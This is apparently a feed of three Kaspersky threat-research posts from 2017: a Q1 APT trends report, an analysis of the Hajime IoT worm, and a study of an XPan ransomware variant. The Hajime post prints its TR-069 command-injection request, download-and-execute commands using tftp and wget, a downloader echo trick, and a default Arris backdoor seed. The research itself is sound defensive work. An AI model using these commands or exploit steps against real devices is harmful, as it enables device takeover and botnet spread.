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Updated: 5 days 18 hours ago

APT Trends report, Q1 2017

Thu, 04/27/2017 - 04:58

Kaspersky Lab is currently tracking more than a hundred threat actors and sophisticated malicious operations targeting commercial and government organizations in over 80 countries. During the first quarter of 2017, there were 33 private reports released to subscribers of our Intelligence Services, with Indicators of Compromise (IOC) data and YARA rules to assist in forensics and malware-hunting.

We continue to observe a sharp rise in the sophistication of attacks with nation-state backing and a merger of tactics, techniques, and procedures (TTPs) between APT actors and financially motivated cybercriminals. We have witnessed the Middle East becoming one of the major cyber battlefields. At the same time, during Q1 2017, the discovery of a new Wiper victim in Europe raised eyebrows and suggested that these kinds of destructive attacks have now spread beyond the Middle East.

In this report, we discuss the targeted attack highlights from the first quarter of 2017, and discuss some emerging trends that demand immediate attention.

Highlights in targeted attacks Evolution of Wipers: a new weapon for APT actors

During the last few months a new wave of wiper attacks, mainly focused against Saudi interests, raised a red flag for many companies, and for a good reason. The new wave of Shamoon attacks apparently relied on stolen credentials from Active Directory for their internal distribution stage. The investigation of these attacks lead us to the discovery of a new wiper we called StoneDrill.

We believe both Shamoon and StoneDrill groups are aligned in their interests, but are two separate actors, which might also indicate two different groups working together.

Our technical analysis of StoneDrill lead to the discovery of old samples (2014) in our collection that share their base code with the new StoneDrill samples. Interestingly, these old samples were attributed to the NewsBeef (Charming Kitten) group. The similarities between samples include sharing the same credentials (username and password) for C2 communications, which establish a very strong link between them.

Figure 1. Credentials used for C2 communication both in StoneDrill and NewsBeef samples

We believe that StoneDrill might be a more recent version of NewsBeef artifacts, effectively relating the known APT actor with this new wave of wiper attacks.

In addition, and related to the Shamoon attacks, we have collected different artifacts that might have been used by the actor during the first stages of attack. This first stage is critical, as credentials need to be stolen for the subsequent distribution of the malware at the victim’s premises.

Ismdoor is a backdoor found to be related to the Shamoon attacks, and might serve well for the attackers’ purposes. This tool was found mainly in Saudi Arabia and belongs to the oil and energy industry. The analysis revealed very interesting details about additional tools used by the attackers for lateral movement, which were mainly based in Powershell-based exploitation frameworks, following the trend of using fileless generic malware explained later in this report.

Finally, it is remarkable that we have detected the first victim of StoneDrill in Europe. The victim belongs to the energy industry, something which might be an indicator that this actor is spreading out of the Middle East. After attributing this wiper with what we believe might be a government-sponsored actor, this fact is highly worrying, as it might indicate a geopolitically-motivated spread of cyber-sabotage operations. This last assumption is yet to be confirmed.


  • Wipers are now extending their geography

  • Wipers are now a part of the arsenal of APT groups. They can be used in destructive operations, as well as for deleting traces after a cyberespionage operation.

  • One of the modules used in the last Shamoon wave of attacks had ransomware capabilities, which might be considered another form of not-so-obvious wiping.

  • The fact that these destructive operations against energy companies might be related to some government sponsored APT actors is definitely worrying, and surpasses typical espionage operations.

BlueNoroff/Lazarus: bank robbery, evolved

A massive waterhole attack targeting Polish banks was publicly disclosed on 3 February, 2017. The attack leveraged the webserver of a Polish financial sector regulatory body, the Polish Financial Supervision Authority (, which was hacked and used to redirect users to an exploit kit. A very similar technique was used against the Mexican financial authority at the same time, and even if no other victims of this group were made public, it is very likely that more banks were also similarly affected.

Our analysis linked the attack with the BlueNoroff/Lazarus group, which has been responsible for multiple other bank attacks, including the famous Bangladesh bank heist. This waterhole attack revealed, for the first time, one of the strategies used by BlueNoroff for gaining a foothold in its target organizations. Although the attack didn’t use any zero days, the Flash Player and Silverlight exploit appeared to be enough to compromise a large number of banks, which were running on outdated software.

Indeed, we started tracking the BlueNoroff actor a long time ago. We originally saw this actor trying to infect banks in the South-East Asian region. BlueNoroff has developed a characteristic set of tools for lateral movement inside targeted organizations, and in several cases attempted tampering with SWIFT software for cashing out. This technique showed its enormous potential with the Bangladesh central bank heists, where attackers attempted to steal more than 900 million USD. In the February “Polish case”, we saw the group reusing these known lateral movements tools repackaged for their new wave of victims. This provided us with a high degree of confidence in attributing the attack to this actor.

Interestingly, the BlueNoroff group planted Russian words within the code, to derail investigators and avoid attribution. The code contained grammar errors a native Russian speaker wouldn’t make, and sentences were likely translated using online tools.


  • We believe BlueNoroff is one of the most active groups in terms of attacks against financial institutions and is trying to actively infect different victims in several regions.
  • We think their operations are still ongoing, and in fact, their most recent malware samples were found in March 2017.
  • At the moment we believe BlueNoroff is probably the most serious threat against banks.
Fileless malware: enough for the job with no attribution

Avoiding attribution is one of the key goals for many APT actors, especially since a large number of operations have been exposed in recent last years. For the most sophisticated groups, the problem is that they already have their well established procedures, specially crafted tools and training, that do not always allow them to stay unnoticed.

But that is not the case for the not-so-big actors or cybercriminals. Rather than creating and having their own tools, these use generic tools that are good enough to complete an operation, and provide an evident economic advantage, with the added value of making both analysis of the incident and attribution to a particular actor more difficult.

Nowadays there is a large number of different frameworks providing cyber-actors with many options, especially for lateral movement. This category includes Nishang, Empire, Powercat, Meterpreter, etc. Interestingly, most of these are based on Powershell, and allow the use of fileless backdoors.

We have seen such techniques being widely adopted in the last few months. We find examples in the lateral movement tools used in Shamoon attacks, in attacks against Eastern European banks, and used by different APT actors such as CloudComputating, Lungen or HiddenGecko, as well as in the evolution of old backdoors like Hikit, which evolved to new fileless versions.

This trend makes traditional forensic analysis harder, traditional IOCs such as file hashes obsolete, application whitelisting more difficult, and antivirus evasion easier. It also helps to evade most of the log activity.

On the other hand, attackers usually need to escalate privileges or steal administrator credentials, they don´t usually have a reboot survival mechanism in the machines they want to infect, and they rely on accessing them when they are reconnected to the infected network. The use of standard tools in the victim environment might also limit their options. This new paradigm is still unfolding and the best practices from a defense perspective are currently not totally clear. However, we offer our recommendations in the final section of this document.


  • No malware samples are needed for the successful exfiltration of data from a network.
  • The use of standard and open source utilities, combined with different tricks, makes detection and attribution almost impossible.
  • The determination of attackers to hide their activity and make detection and incident response increasingly difficult explains the latest trend of anti-forensic techniques and memory-based malware. That is why memory forensics is becoming critical to the analysis of malware and its functions.
  • Incident response in cases like this is key.
How to keep yourself protected

Exploiting vulnerabilities remains a key approach to infecting systems, therefore timely patching is of utmost importance – which, being one of the most tedious IT maintenance tasks, works much better with good automation. Kaspersky Endpoint Security for Business Advanced and Kaspersky Total Security include Vulnerability & Patch management components, offering convenient tools for making patching much easier, and much less time-consuming for IT staff.

Given the trend of using Powershell-based techniques, including bodiless malware scenarios, you need to make sure that your security solution is aware of such specifics. All tiers of Kaspersky Security Endpoint Security for Business as well as Kaspersky Security for Virtualization possess the broadest range of machine learning-powered detection techniques including those specifically taking care of malware using Powershell. Our behavioral System Watcher technology is also aware of specific Wiper activities like mass file deletion; after blocking the malware, its Rollback feature brings important user files back from their deleted state.

Still, it is necessary to understand that targeted attacks are dangerous not only because of their sophistication (which sometimes is not the case), but because they are usually well-prepared, and try to leverage security gaps unobvious to their targets.

Therefore, it is highly recommended that you arm yourself not only with prevention (such as endpoint protection) but also with detection capabilities, specifically with a solution that can detect anomalies in the whole network’s ongoing activities, and scrutinize suspicious files at a much deeper level than it is possible on users’ endpoints. Kaspersky Anti Targeted Attack is an intellectual detection platform that matches events coming from different infrastructure levels, discerns anomalies and aggregates them into incidents, while also studying related artifacts in a safe environment of a sandbox. As with most Kaspersky products, Kaspersky Anti Targeted Attack is powered by HuMachine Intelligence, which is backed by on premise and in lab-running machine learning processes coupled with real-time analyst expertise and our understanding of threat intelligence big data.

And the best way to prevent the attackers from finding and leveraging security holes is getting rid of them all, including those involving improper system configurations or errors in proprietary applications. For this, Kaspersky Penetration Testing and Application Security Assessment services can become a convenient and highly effective solution, providing not only data on found vulnerabilities, but also advising on how to fix it, further strengthening corporate security.

Hajime, the mysterious evolving botnet

Tue, 04/25/2017 - 04:58


Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

  1. TR-069 exploitation;
  2. Telnet default password attack;
  3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

GET / HTTP/1.1



Content-Type: text/xml

Content-Length: 0

Where RANDOM_USER_AGENT is chosen from the following list:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

After some checks, it sends the following request to trigger the vulnerability:

POST /UD/act?1 HTTP/1.1



Content-Type: text/xml

Content-Length: BODY_LENGTH

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version=”1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”” SOAP-ENV:encoding”>“>


<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>









The INJECT_COMMANDS can either be:

cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>


cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

./.s>.i; chmod +x .i; ./.i; rm .s;


“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:



Welcome to ATP Cli











One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.


While working on this blogpost, we collected statistics using three different methods:

  1. We had a honeypot with telnet open;
  2. We looked at the infected peers as DHT seeders;
  3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Distribution of attackers by country Vietnam 509 20.04% Taiwan 327 12.87% Brazil 227 8.94% Turkey 167 6.57% Korea 150 5.91% India 141 5.55% China 97 3.82% Russia 72 2.83% Romania 69 2.72% Colombia 58 2.28% Mexico 54 2.13% Others 669 26.34% Total 2540 Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

http header “Server” statistics 364 Server: uc-httpd 1.0.0 43 Server: WCY_WEBServer/2.0 9 Server: Boa/0.94.14rc21 4 Server: thttpd/2.25b-lxc 29dec2003 3 Server: Router Webserver 2 Server: GoAhead-Webs 2 Server: JAWS/1.0 May 26 2014 2 Server: nginx/1.4.4 1 Server: DNVRS-Webs 1 Server: IPCamera-Webs 1 Server: IPCamera-Webs/2.5.0 1 Server: JAWS/1.0 Aug 21 2013 1 Server: JAWS/1.0 Jul 9 2013 1 Server: JAWS/1.0 Jun 13 2013 1 Server: JAWS/1.0 Jun 25 2013 1 Server: JAWS/1.0 Mar 20 2014 1 Server: JAWS/1.0 May 13 2013 1 Server: Microsoft-IIS/7.5 1 Server: Web server 1 Server: WebServer Web interface “title” statistics 315 NETSurveillance WEB 84 WEB SERVICE 37 NETSuveillance WEB 36 IVSWeb 2.0 – Welcome 21 9 main page 6 NEUTRON 4 WEB SURVEILLANCE 3 CPPLUS DVR –Web View 2 IVSWeb 2.0 – Добро пожаловать 2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE 2 replace 1 CPPLUS DVR–Web View 1 GIGA Security 1 IIS7 1 iProview Web 2.0 – Welcome 1 IVSWeb 2.0 – Hoş geldiniz 1 IVSWeb 2.0 – Witamy 1 WATASHI SERVICE Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Distribution of infected boxes by country Iran 2285 14.38% Vietnam 1819 11.45% Brazil 1102 6.94% Turkey 911 5.73% China 909 5.72% Taiwan 805 5.07% Russia 747 4.70% India 642 4.04% Korea 624 3.93% Mexico 542 3.41% Others 5502 34.63% Total 15888 Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Distribution of leechers by country Iran 58465 19.65% Brazil 26188 8.80% Vietnam 23418 7.87% Russia 22268 7.49% Turkey 18312 6.16% India 16445 5.53% Pakistan 14069 4.73% Italy 10530 3.54% Taiwan 10486 3.52% Australia 9436 3.17% Others 87882 29.54% Total 297499 Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.


Hajime avoids this ip subnetworks (which hardcoded in a module): Ukraine; Region Vinnyts’ka Oblast’ Iran, Islamic Republic of; Region Tehran Germany Virtela Communications Inc Amsterdam, NL POP South Africa; Region Gauteng IANA – Local Identification General Electric Company Hewlett-Packard Company Hewlett-Packard Company US Postal Service Multicast

United States Department of Defense:

Private networks:

XPan, I am your father

Mon, 04/24/2017 - 04:55

While we have previously written on the now infamous XPan ransomware family, some of it’s variants are still affecting users primarily located in Brazil. Harvesting victims via weakly protected RDP (remote desktop protocol) connections, criminals are manually installing the ransomware and encrypting any files which can be found on the system.

Interestingly, this XPan variant is not necessarily new in the malware ecosystem. However, someone has chosen to keep on infecting victims with it, encouraging security researchers to hunt for samples related to the increasing number of incident reports. This sample is what could be considered as the “father” of other XPan ransomware variants. A considerable amount of indicators within the source code depict the early origins of this sample.

“Recupere seus arquivos aqui.txt” loosely translated to “recover your files here” is a phrase that not many Brazilian users are eager to see in their desktops.

The ransomware author left a message for Kaspersky in other versions and has done the same in this one, with traces to the NMoreira “CrypterApp.cpp” there’s a clear link between different variants among this malware family.

NMoreira, XPan, TeamXRat, different names but same author.

Even though many Brazilian-Portuguese strings are present upon initial analysis, there were a couple that caught our attention. Firstly, the ransomware uses a batch file which will pass a command line parameter to an invoked executable file, this parameter is “eusoudejesus” which means “I’m from Jesus”. Developers tend to leave tiny breadcrumbs of their personality behind in each one of their creations, and in this sample we found many of them.

A brief religious reference found in this XPan variant.

Secondly, a reference to a Brazilian celebrity is done, albeit indirectly. “Computador da Xuxa” was a toy computer sold in Brazil during the nineties, however it’s also a popular expression which is used to make fun of very old computers with limited power.

This is what cybercriminals think of your encrypted computer: just a toy they can control.

“Muito bichado” equals to finding a lot of problems in these type of systems, in this case meaning that the environment in which is XPan is executing is not playing fair and the execution is quite buggy.

Lastly, we have the ransomware note demanding the victim to send an email to the account ‘’. Considering that the extension for all the encrypted files in this variant is ‘.one’ this seems like a pretty straightforward naming convention for the criminals’ campaigns.

The rescue note in Portuguese.

Upon closer inspection, we discovered that this sample is nearly identical to another version of Xpan which used to be distributed back in November 2016 and used the extension “.__AiraCropEncrypted!”. Every bit of executable code remains the same, which is quite surprising, because since that time there were several newer versions of this malware with an updated encryption algorithm. Both samples have the same PE timestamp dating back to the 31st of October 2016.

The only difference between the two is the configuration block which contains the following information:

  • list of target file extensions;
  • ransom notes;
  • commands to execute before and after encryption;
  • the public RSA key of the criminals.

The decrypted configuration block of Xpan that uses the extension “.one”.

The file encryption algorithm also remains the same. For each target file the malware generates a new unique 255-byte random string S (which contains the substring “NMoreira”), turns it into a 256-bit key using the API CryptDeriveKey, and proceeds to encrypt the file contain using AES-256 in CBC mode with zero IV. The string S will be encrypted using the criminals’ RSA public key from the configuration block and stored in the beginning of the encrypted file.

According to one of the victims that contacted us, criminals were asking for 0.3 bitcoin to provide the recovery key, using the same approach as they did with before: the user sends a message to a mailbox with his unique ID and patiently awaits for further instructions.

The victims so far are small and medium businesses in Brazil: ranging from a dentist clinic to a driving school, demonstrating once again that ransomware makes no distinctions and everyone is at risk. As long as there are victims, assisting them and providing decryption tools whenever possible is necessary, no matter the ransomware family or when it was created.

Victims: we can help

This time luck is on the victims’ side! Upon thorough investigation and reverse engineering of the sample of “.one” version of Xpan, we discovered that the criminals used a vulnerable cryptographic algorithm implementation. It allowed us to break encryption as with the previously described Xpan version.

We successfully helped a driving school and a dentist clinic to recover their files for free and as usual we encourage victims of this ransomware to not pay the ransom and to contact our technical support for assistance in decryption.

Brazilian cybercriminals are focusing their efforts in creating new and local ransomware families, attacking small companies and unprotected users. We believe this is the next step in the ransomware fight: going from global scale attacks to a more localized scenario, where local cybercriminals will create new families from scratch, in their own language, and resorting to RaaS (Ransomware-as-a-service) as a way to monetize their attacks.

MD5 reference

dd7033bc36615c0fe0be7413457dccbf – Trojan-Ransom.Win32.Xpan.e (encrypted file extension: “.one”)
54217c1ea3e1d4d3dc024fc740a47757 – Trojan-Ransom.Win32.Xpan.d (encrypted file extension: “.__AiraCropEncrypted!”)